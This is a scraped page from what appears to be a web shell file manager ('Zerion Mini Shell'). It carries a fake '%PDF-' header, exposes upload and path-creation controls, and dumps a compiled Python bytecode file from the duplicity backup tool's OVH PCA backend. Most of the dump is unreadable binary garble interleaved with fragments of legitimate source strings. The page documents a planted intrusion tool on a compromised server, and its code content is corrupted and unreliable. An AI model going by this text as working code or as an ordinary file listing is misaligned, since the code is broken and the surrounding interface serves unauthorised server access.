%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/duplicity/backends/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/duplicity/backends/__pycache__/pcabackend.cpython-312.pyc

�

�2e�0���ddlZddlZddlZddlmZddlmZGd�dejj�Z	ejjde	�y)�N)�log)�BackendExceptionc�T�eZdZdZd�Zd�Zd�Zd�Zdd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zy)�
PCABackendz
    Backend for OVH PCA
    c	�V�tjjj||�	ddlm}ddlm}||_
||_i}dtjvr?dtjvr-tjd|d<tjd|d<n�d	tjvrtd
��dtjvrtd��d
tjvrtd��tjd	|d<tjd|d<tjd
|d<i}dtjv�rtjd|d<tjddk(�r�dtjvr$|jdtjdi�dtjvr$|jdtjdi�dtjvr$|jdtjdi�dtjvr$|jdtjdi�dtjvr$|jdtjdi�dtjvr$|jd tjdi�d!tjvr$|jd"tjd!i�d#tjvr$|jd$tjd#i�d%tjvr*|jd&tjd%i�nd'|d<dtjvrtjd|d<d%tjvr$|jd&tjd%i�||d(<d|d)<||_|j j#d*�D�cgc]
}|d+k7s�	|��}}|j%d�|_|rd*j)|��d*�|_nd+|_d,}	d-}
d}	|d7i|j��|_|j,j/|j&�}|�Yt3j>d0|j&���	tA|
|	gg�}|j,jC|j&|�1�y|	rR||
jE�|	k7r;t3j4d3|j&�d4||
jE��d5|	�d6��yyy#t$r}tdt|�����d}~wwxYwcc}w#|$rY��t0$r\}t3j4d.|j6j8�d/t|���t2j:j<�Yd}~��Cd}~wwxYw#t0$r[}t3j4d2|j6j8�d/t|���t2j:j<�Yd}~yd}~wwxYw)8Nr)�
Connection)�ClientExceptionz@PCA backend requires the python-swiftclient library.
Exception: �PCA_PREAUTHURL�PCA_PREAUTHTOKEN�
preauthurl�preauthtoken�PCA_USERNAMEz*PCA_USERNAME environment variable not set.�PCA_PASSWORDz*PCA_PASSWORD environment variable not set.�PCA_AUTHURLz)PCA_AUTHURL environment variable not set.�user�key�authurl�PCA_AUTHVERSION�auth_version�3�PCA_USER_DOMAIN_NAME�user_domain_name�PCA_USER_DOMAIN_ID�user_domain_id�PCA_PROJECT_DOMAIN_NAME�project_domain_name�PCA_PROJECT_DOMAIN_ID�project_domain_id�PCA_TENANTNAME�tenant_name�PCA_ENDPOINT_TYPE�
endpoint_type�
PCA_USERID�user_id�PCA_TENANTID�	tenant_id�PCA_REGIONNAME�region_name�2�
os_options�retries�/��PCAzX-Storage-Policy�Connection failed: � zCreating container )�headerszContainer creation failed: zContainer 'z$' exists but its storage policy is 'z' not 'z'.�)#�	duplicity�backend�Backend�__init__�swiftclientrr	�ImportErrorr�str�resp_exc�conn_cls�os�environ�update�conn_kwargs�path�split�pop�	container�join�prefix�conn�head_container�	Exceptionr�
FatalError�	__class__�__name__�	ErrorCode�connection_failed�Info�dict�
put_container�lower)
�self�
parsed_urlrr	�er?r*�x�	url_parts�policy�
policy_header�container_metadatar1s
             �?/usr/lib/python3/dist-packages/duplicity/backends/pcabackend.pyr6zPCABackend.__init__#sS�����!�!�*�*�4��<�	�.�3�(��
�"��
����r�z�z�)�.@�B�J�J�.N�(*�
�
�3C�(D�K��%�*,�*�*�5G�*H�K��'��R�Z�Z�/�&�'V�W�W��R�Z�Z�/�&�'V�W�W��B�J�J�.�&�'U�V�V�"$�*�*�^�"<�K���!#���N�!;�K���%'�Z�Z�
�%>�K�	�"��
���
�
�*�*,�*�*�5F�*G�K��'��z�z�+�,��3�)�R�Z�Z�7��%�%�'9�2�:�:�F\�;]�&^�_�'�2�:�:�5��%�%�'7����DX�9Y�&Z�[�,��
�
�:��%�%�'<�b�j�j�Ib�>c�&d�e�*�b�j�j�8��%�%�':�B�J�J�G^�<_�&`�a�#�r�z�z�1��%�%�}�b�j�j�AQ�6R�&S�T�&�"�*�*�4��%�%���
�
�CV�8W�&X�Y��2�:�:�-��%�%�y�"�*�*�\�2J�&K�L�!�R�Z�Z�/��%�%�{�B�J�J�~�4N�&O�P�#�r�z�z�1��%�%�}�b�j�j�AQ�6R�&S�T�+.�K��'��r�z�z�)�)+���4D�)E�K�
�&��r�z�z�)����}�b�j�j�9I�.J�K�L�$.��L�!�!"��I��&���
!+��� 5� 5�c� :�F�1�a�2�g�Q�F�	�F�"���q�)���� �X�X�i�0�1��3�D�K��D�K���*�
�!��		�"�6�T�%5�%5�6�D�I�!%���!9�!9�$�.�.�!I���%��H�H�*�4�>�>�*:�;�<�
���� 7�8�9���	�	�'�'�����'�H��*�=�+>�+>�+@�A�V�K��N�N��d�n�n�-�.�&�}�':�':�'<�=�>�g�f�X�R�Q�
�L�V��K�	�"����F�8���
��	��HG���	���	��N�N�%�a�k�k�&:�&:�%;�1�S��V�H�E��
�
�/�/�
�
��	���
����1�!�+�+�2F�2F�1G�q��Q���Q��M�M�3�3����
�s[�T)�,
U�7U�=<U�5W�)	U�2U	�	U�W�W�%AV<�<W�	X(�
AX#�#X(c��t||j�r*|jdk(rtjj
Syy)Ni�)�
isinstancer:�http_statusrrL�backend_not_found)rR�	operationrTs   rZ�_error_codezPCABackend._error_code�s6���a����'��}�}��#��}�}�6�6�6�$�(�c	���|jj|j|jt	j
|�zt
t	j
|j�d��y)N�rb)rF�
put_objectrCrEr<�fsdecode�open�name)rR�source_path�remote_filenames   rZ�_putzPCABackend._put�sI���	�	����N�N��K�K�"�+�+�o�6�6�����[�-�-�.��5�	
rac��|jtj|��}|rLttj|j�d�5}|D]}|j|��	ddd�yy#1swYyxYw)N�wb)�unsealr<rerfrg�write)rRri�
local_path�body�f�chunks      rZ�_getzPCABackend._get�sn���{�{�2�;�;��7�8����b�k�k�*�/�/�2�D�9�
#�Q�!�#�E��G�G�E�N�#�
#�
#��
#�
#�s�A4�4A=Nc��|jj|jd|jd��}|d}|rm|dd}|dj	d�}|jj|j||d|jd��d}|r|dj|�|r�m|�t
t||d��S|dS)	NFzpolicy_extra=true)�full_listingr@�query_string����rg�
version_id)�marker�version_markerrur@rv)rF�
get_containerrCrE�get�extend�list�filter)rR�ffilter�rv�listingrzr{s      rZ�__list_objszPCABackend.__list_objs�s����Y�Y�
$�
$��N�N�����,�	%�
���Q�%����R�[��(�F�$�R�[�_�_�\�:�N��i�i�-�-�����-�"��[�[�0�
.����G���1����W�%������w��1��.�/�/��!�u�rac	��|j�D�cgc]0}tj|dt|j�d���2c}Scc}w�Nrg)�_PCABackend__list_objsr<�fsencode�lenrE)rR�os  rZ�_listzPCABackend._list�s=��DH�DT�DT�DV�W�q����A�f�I�c�$�+�+�&6�&8�9�:�W�W��Ws�5Ac��|jj|j|jt	j
|�z�y�N)rF�
delete_objectrCrEr<re)rR�filenames  rZ�_deletezPCABackend._delete�s,���	�	���������b�k�k�(�>S�0S�Trac��|jj|j|jt	j
|�z�}dt
|d�iS)N�sizezcontent-length)rF�head_objectrCrEr<re�int)rRr��sobjects   rZ�_queryzPCABackend._query�sE���)�)�'�'�������b�k�k�RZ�F[�8[�\����G�$4�5�6�7�7rac	�~�	|jj|j|d��\}}tjd|�d��|S#|j
$r�}|jdk(r{t|jd�}t|d�\}}t|d�\}}t|��dt|�d	�d
t|�d	�d�}	tjd|�d|	�d
��nQtjd|jj�dt|���tjj�Yd}~yd}~wwxYw)Ni)�resp_chunk_sizezFile z was successfully unsealed.i�zRetry-After�<�h�02�m�sz% is being unsealed, operation ETA is �.r/r0)rF�
get_objectrCrrNr:r]r��http_response_headers�divmodrIrJrKr9rLrM)
rRri�_rprT�durationr�r�r��etas
          rZrmzPCABackend.unseal�s#��	��i�i�*�*�4�>�>�?�\`�*�a�G�A�t��H�H�u�_�-�-H�I�J��K���}�}�	��}�}��#��q�6�6�}�E�F���h��+���1��a��}���1��Q����#�a�&���A�c�!�f�R�[��:�����5�� 1�1V�WZ�V[�[\�]�^����)�!�+�+�*>�*>�)?�q��Q���I��M�M�3�3�����	�s�AA�D<�CD7�7D<c����d}tttj|����j	��fd���}d}|D]x}tj|d�}|d}tjd|�d|�d	��|d
k(r0tjd|�d���j|d�d
}�q|dk(s�wd
}�z|r)�j��}tj|�|r�)tjd�y)z�
        This is called before downloading volumes from this backend
        by main engine. For PCA, volumes passed as argument need to be unsealed.
        This method is blocking, showing a status at regular interval
        r�c�x��tj|d��D�cgc]}�j|z��c}vScc}wr��r<rerE�rUr�rR�u_remote_filenamess  ��rZ�<lambda>z7PCABackend.pre_process_download_batch.<locals>.<lambda>��0���b�k�k�!�F�)�4�Rd�8e�Q����q��8e�e���8e��7�r�Frg�policy_retrieval_statezVolume z
. State : z. �sealed�Launching unseal of volume r�T�	unsealingz%All volumes to download are unsealed.N)r�mapr<rer�rrN�Noticerm�
unseal_status�time�sleep)	rR�remote_filenames�retry_interval�objs�one_object_not_unsealedr�r�r�r�s	`       @rZ�pre_process_download_batchz%PCABackend.pre_process_download_batch�s�����!�#�b�k�k�3C�"D�E�����e� �
��
#(���
	/�A��{�{�1�V�9�-�H�%&�'?�%@�"��H�H�w�x�j�
�3I�2J�"�M�N�%��1��
�
�8��
�!�D�E����A�f�I�&�*.�'�'�;�6�*.�'�
	/�&�&*�&8�&8�9K�&L�#��J�J�~�&�&�

�J�J�>�?rac�b���d}�j��fd���}d}|D]�}|d}tj|d�}|dk(rItjd|�d	��tjd
|�d	���j|d�d}�n|dk(s�tt
|d
�}tj|�dt
|��d��||kDr|}d}��t|d�\}	}
t|	d�\}}	t
|��dt
|	�d�dt
|
�d�d�}tjd|�d��|S)z:
        Shows unsealing status for input volumes
        Fc�x��tj|d��D�cgc]}�j|z��c}vScc}wr�r�r�s  ��rZr�z*PCABackend.unseal_status.<locals>.<lambda>r�r�r�rr�rgr�z)Error: volume is still in sealed state : r�r�Tr��policy_retrieval_delayz available in z	 seconds.r�r�r�r�r�z
Need to wait z! before all volumes are unsealed.)	r�r<rerr�rmr�rNr�)
rRr�r�r��max_durationr�r�r�r�r�r�r��max_duration_etas
``           rZr�zPCABackend.unseal_statussR���#(�����e� �
�����
	/�A�%&�'?�%@�"��{�{�1�V�9�-�H�%��1��
�
�F�x�j�PQ�R�S��
�
�8��
�!�D�E����A�f�I�&�*.�'�'�;�6��q�!9�:�;�����H�:�^�C��M�?�)�L�M��l�*�#+�L�*.�'�
	/��l�B�'���1��a��}���1�!�!�f�X�Q�s�1�v�b�k��3�q�6�"�+�Q�?���
�
�]�#3�"4�4U�V�W�&�&rar�)rK�
__module__�__qualname__�__doc__r6r`rjrsr�r�r�r�rmr�r�r2rarZrrsD���o�b7�

�#��8X�U�8��,!@�F'rar�pca)r<r��duplicity.backendr3r�duplicity.errorsrr4r5r�register_backendr2rarZ�<module>r�sI��,
����-�D'��"�"�*�*�D'�N
���"�"�5�*�5ra

Zerion Mini Shell 1.0